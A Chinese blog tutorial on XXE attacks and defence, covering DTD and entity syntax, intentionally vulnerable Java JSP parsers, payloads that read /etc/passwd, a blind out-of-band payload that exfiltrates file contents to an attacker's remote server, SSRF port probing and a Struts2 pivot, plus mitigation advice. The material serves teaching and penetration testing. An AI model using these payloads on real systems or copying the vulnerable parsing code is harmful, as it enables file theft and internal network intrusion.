浅谈XXE攻防

与xml格式相关的web漏洞,流传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,本文主要是分享XXE相关技术。Xml,是一种可扩展标记语言,属于标准通用标记语言的子集,跟html师出同门,html侧重于页面展示,xml侧重于存储和传输。

前言:

与xml格式相关的web漏洞,流传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,本文主要是分享XXE相关技术。Xml,是一种可扩展标记语言,属于标准通用标记语言的子集,跟html师出同门,html侧重于页面展示,xml侧重于存储和传输。

针对xml语言,要明白两个特性:合法性与合理性。所谓合法性,是指语法层面。比如xml标签严格区分大小写,xml文档必须有一个根元素等等。所谓合理性是指xml文档要有意义就必须满足一定的约束要求。在XML技术里,可以编写一个文档来约束一个XML文档的书写规范,这称之为XML约束。常用的约束技术XML DTD 和XML Schema。由于  schema 对常见的XXE攻击相关性不是太大,本文只探讨基于DTD约束的XXE攻击。下面分别讲解一下与XXE攻击相关的两个概念:1.DTD的声明2.实体

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD-声明

DTD 被声明于 XML 文档中:

源码:

<?xml version=”1.0″?>

<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->

<!ELEMENT note (who,action,what)><!--定义note元素有四个元素-->

<!ELEMENT who (#PCDATA)><!--定义to元素为”#PCDATA”类型-->

<!ELEMENT action (#PCDATA)><!--定义from元素为”#PCDATA”类型-->

<!ELEMENT what (#PCDATA)><!--定义head元素为”#PCDATA”类型-->

]>

<note>

<who>I</who>

<action>LOVE</action>

<what>THE WORLD</what>

</note>

解析结果:

62197CB8-6E0C-4C01-843B-C18112340E67.png
【不支持外链图片,请上传图片或单独粘贴图片】

DTD可作为一个外部引用:

源码:

<?xml version=”1.0″?>

<!DOCTYPE note SYSTEM “note.dtd” >

<note>

<who>I</who>

<action>LOVE</action>

<what>THE WORLD</what>

</note>

note.dtd:

<!ELEMENT note (who,action,what)><!–定义note元素有四个元素–>

<!ELEMENT who (#PCDATA)><!–定义to元素为”#PCDATA”类型–>

<!ELEMENT action (#PCDATA)><!–定义from元素为”#PCDATA”类型–>

<!ELEMENT what (#PCDATA)><!–定义head元素为”#PCDATA”类型—>

解析结果:

62197CB8-6E0C-4C01-843B-C18112340E67.png
【不支持外链图片,请上传图片或单独粘贴图片】

加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public

私有类型DTD加载:

<!ENTITY private_dtd STSTEM “DTD_location” >

公共类型DTD加载:

<!ENTITY public_dtd PUBLIC “DTD_name” “DTD_location” >

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。

PCDATA 的意思是被解析的字符数据,有PCDATA标志的字符 会被当作xml标记来对待,而实体会被展开。但是被解析的字符数据不应当包含任何 &、< 或者 > 字符,需要使用相应的实体编码 &amp;、&lt; 以及 &gt; 来替换它们。

CDATA 的意思是字符数据,有CDATA标志的字符不会当作标记来对待,比如&等特殊字符只会被当作“&”本身,而不是特殊的标记,通过&引用的实体自然也不会被展开。

DTD – 实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上实体是对数据的引用,实体可在内部或外部进行声明,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。

XML中实体类型,大致有下面几种:

  • 字符实体
  • 内部实体(命名实体)
  • 外部实体
  • 参数实体

(除参数实体外,其它实体都以字符&开始,实体名,以字符;结束,与xxe相关的主要是外部实体与参数实体。

字符实体:对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值) 比如&#x25;表示%

内部实体:又称为命名实体,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE   root  [ <!ENTITY a "hello”> ]>

<root>&a;</root>

外部实体:

外部实体申明:<!ENTITY 实体名 SYSTEM “URI/URL”>  

外部实体引用:&实体名;

<?xml version=”1.0″ encoding=”utf-8”?>

<!DOCTYPE root       [<!ENTITY xxe SYSTEM “本地或远程文件" > ]  >

<root>&xxe;</root>

外部实体 通过在DOCTYPE头部标签中包含SYSTEM 关键字  ,这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。XML外部实体 ‘a’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’a’的值会被替换为URI(file://etc/passwd)内容值。 关键字’SYSTEM’会告诉XML解析器,’a’实体的值将从其后的URI中读取。有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

<?xml version=“1.0” encoding=“utf-8” ?>

<!DOCTYPE root [ <!ENTITY a SYSTEM “file:///etc/passwd”>  ]>

<root>&a;</root>

参数实体:与一般实体相比它以字符(%)开始,以字符(;)结束,并且只有在DTD文件中才能在参数实体声明的时候引用其他实体。

参数实体申明:<!ENTITY % 实体名 “实体内容”>

参数实体引用:%实体名;

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE note <!ENTITY % remote SYSTEM “攻击者远程服务器上的xml文件">

       %remote;

]>

<root>&b;</root>

在常规的攻击中有两种情况有用到参数实体1.读取的文件包含特殊字符 2.在 XXE 攻击没有回显的情况下,可以利用参数实体来获取回显数据。

XXE攻击方式

针对不同的语言的xml解析器支持不同的协议,因此会衍生出不同的攻击方式。

5CE63E67-0B0B-4941-AC8F-B47109377DB2.png
【不支持外链图片,请上传图片或单独粘贴图片】

通常会利用XXE基于xml解析器支持的file和http协议,来进行可以实现任意文件读取和ssrf两种攻击

以java为例,在java中解析xml文件有三种常见的方式:1.dom  2.sax   3.dom4j.

简单来说  dom 是将文件一次性的加载到内存中   以dom文档的形式  展示,   sax是将文件一行一行的加载到内存中   直接处理,而dom4j需要加载外部jar包,综合性能最高。

Dom

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setValidating(true);

DocumentBuilder builder = factory.newDocumentBuilder();

Document doc = builder.parse(“src/demo.xml”);

Sax

SAXParserFactory factory = SAXParserFactory.newInstance();

SAXParser parser = factory.newSAXParser();

MyHandler dh = new MyHandler();

parser.parse(“src/demo.xml”, dh);

DOM4J

SAXReader reader = new SAXReader()

Document doc = reader.read(“src/demo.xml”);

以DOM为例,进行代码演示:

一.读取文件

Xxe1.jsp

1.有回显的任意文件读取

<%@ page contentType=“text/html; charset=UTF-8″ %>

<%@ page import=“org.w3c.dom.*, javax.xml.parsers.*” %>

<%@ page import=“org.xml.sax.InputSource” %>

<%@ page import=“java.io.StringReader” %>

<html>

<head><title>XXE </title>

</head>

<body>

<%

    String data = request.getParameter(“data”);

    String tmp  = “”;

    if (data != null) {

    try {

           DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();

           DocumentBuilder docBuilder = docFactory.newDocumentBuilder();

           Document doc = docBuilder.parse(new InputSource(new StringReader(request.getParameter(“data”))));

           NodeList RegistrationNo = doc.getElementsByTagName(“foo”);

           tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();

} catch (Exception e) {

                out.print(e);

            }

    }

%><%= tmp  %>

</body>

</body>

</html>

Payload:<?xml version=”1.0″  ?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

22C3F35C-5A3F-4BD4-9C9D-186BC9394AFE.png
【不支持外链图片,请上传图片或单独粘贴图片】

2.无回显得文件读取

Xxe2.jsp

<%@ page contentType=“text/html; charset=UTF-8″ %>

<%@ page import=“org.w3c.dom.*, javax.xml.parsers.*” %>

<%@ page import=“org.xml.sax.InputSource” %>

<%@ page import=“java.io.StringReader” %>

<html>

<head><title>XXE </title>

</head>

<body>

<%

    String data = request.getParameter(“data”);

    String tmp  = “”;

    if (data != null) {

    try {

           DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();

           DocumentBuilder docBuilder = docFactory.newDocumentBuilder();

           Document doc = docBuilder.parse(new InputSource(new StringReader(request.getParameter(“data”))));

           NodeList RegistrationNo = doc.getElementsByTagName(“foo”);

           tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();

} catch (Exception e) {

               

            }

    }

%><%= “hello”  %>

</body>

</body>

</html>

Payload:

<?xml version=“1.0” ?>

<!DOCTYPE   note [

<! ENTITY % file SYSTEM  “file:///etc/passwd”>

<!ENTITY %  remote SYSTEM  “攻击者远程服务器上的xml文件”>

%remote;

%all;

]>

<root>&send;</root>

攻击者远程服务器上的xml文件:

<!ENTITY % all “<!ENTITY send SYSTEM ‘远程服务器URL/%file;’ >”>

若是攻击成功会在远程服务器的日志中看到:

0:0:0:0:0:0:0:1 – - [24/Aug/2017:23:51:29 +0800] “GET /要读取file的内容 HTTP/1.1″ 200 88

二.ssrf

针对ssrf的攻击 主要是进行内网端口探测和执行只通过http就可以实现的攻击,比如strust2命令执行漏洞简单通过一次http请求就可以成功实现攻击。

1.探测端口

要发送的payload:

<?xml version=”1.0” encoding=”UTF-8”?>  

<!DOCTYPE A SYSTEM  ”内网地址:端口”  >

<A></A>

不同的xml解析器针对这种情况会有不同的不反应,因此不能一概而论。比如有一些XML解析器处理时 若该内网地址的端口属于监听状态 则服务器的response时间 比端口关闭的response时间要漫长很多,这时便可以通过返回的时间来判断端口是否处于开放状态。当有回显得时候 也可以直接根据 回显得内容来判断 内网地址的存活以及端口开放与否,个人感觉这种攻击有些鸡肋。

2.struts2攻击

Payload 

<?xml version=”1.0” encoding=”UTF-8”?>  

<!DOCTYPE A SYSTEM  ”内网地址+相关漏洞的payload”  >

<A></A>

若是内网的某台服务器存在该漏洞,则直接可以执行命令了。

如何发现XXE:

笔者看了很多分析XXE的文章,很多人在谈到如何发现XXE的时候,几乎都是千篇一律的说到:三部曲:1.检测XML是否会被解析2.检测服务器是否支持外部实体3.如果上面两步都支持,那么就看能否回显,

在这里 笔者提出一个自己的观点 欢迎大家谈论:我认为针对黑盒渗透的特性, 测试者没法知道自己的任何发送请求传到服务器时,有没有进入到xml解析器里。比如 在客户端明明发送的是json格式的数据但是实际传输到服务器里了,却进入到xml解析器里了(这篇文章就是这种情况:https://blog.netspi.com/playing-content-type-xxe-json-endpoints/)。或者当服务端没有任何回显 时,这种情况也不知道  服务端是否解析  了XML 格式数据。因此笔者的方法是直接在doc文档中通过关键字system 去访问一个外网地址,通过观察DNSLOG来判断服务器是否解析了客户端的请求。

<?xml version=”1.0” encoding=”UTF-8”?>  

<!DOCTYPE A SYSTEM”dnslog地址”  >

<A></A>

若是服务器解析了,则会在DNSLOG中看到一下请求,这就证明了存在XXE漏洞。

8F1EC212-5E3C-4478-A4EF-FB1270B80C60.png
【不支持外链图片,请上传图片或单独粘贴图片】

预防方式

正所谓一切漏洞来源揭示由于用户的恶意输入,XXE之所以会发生 是因为中间件的xml解释器对恶意用户的输入进行了解析所导致的,通常xml解释器默认是含有xxe漏洞的。可以看出漏洞之所以发生是由于xml解析器允许解析外部实体,因此从根源上预防XXE就是要保证解析器不支持外部实体的引用,针对不同的语言有不同禁止解析外部实体的方式。或者从WAF黑名单的思路来预防 ,可以禁止客户传入的一些与XXE有关的关键字,比如可以一次性的将一下4个关键字加入到WAF里DOCTYPE、ENTITY、SYSTEM、PUBLIC。

资料来源:

1.http://www.w3cschool.cn/xml    

2.http://www.w3cschool.cn/dtd   

3.http://bobao.360.cn/learning/detail/3841.html

4.http://blog.csdn.net/u011721501/article/details/43775691

4

发表评论

已有 2 条评论

取消
Loading...
css.php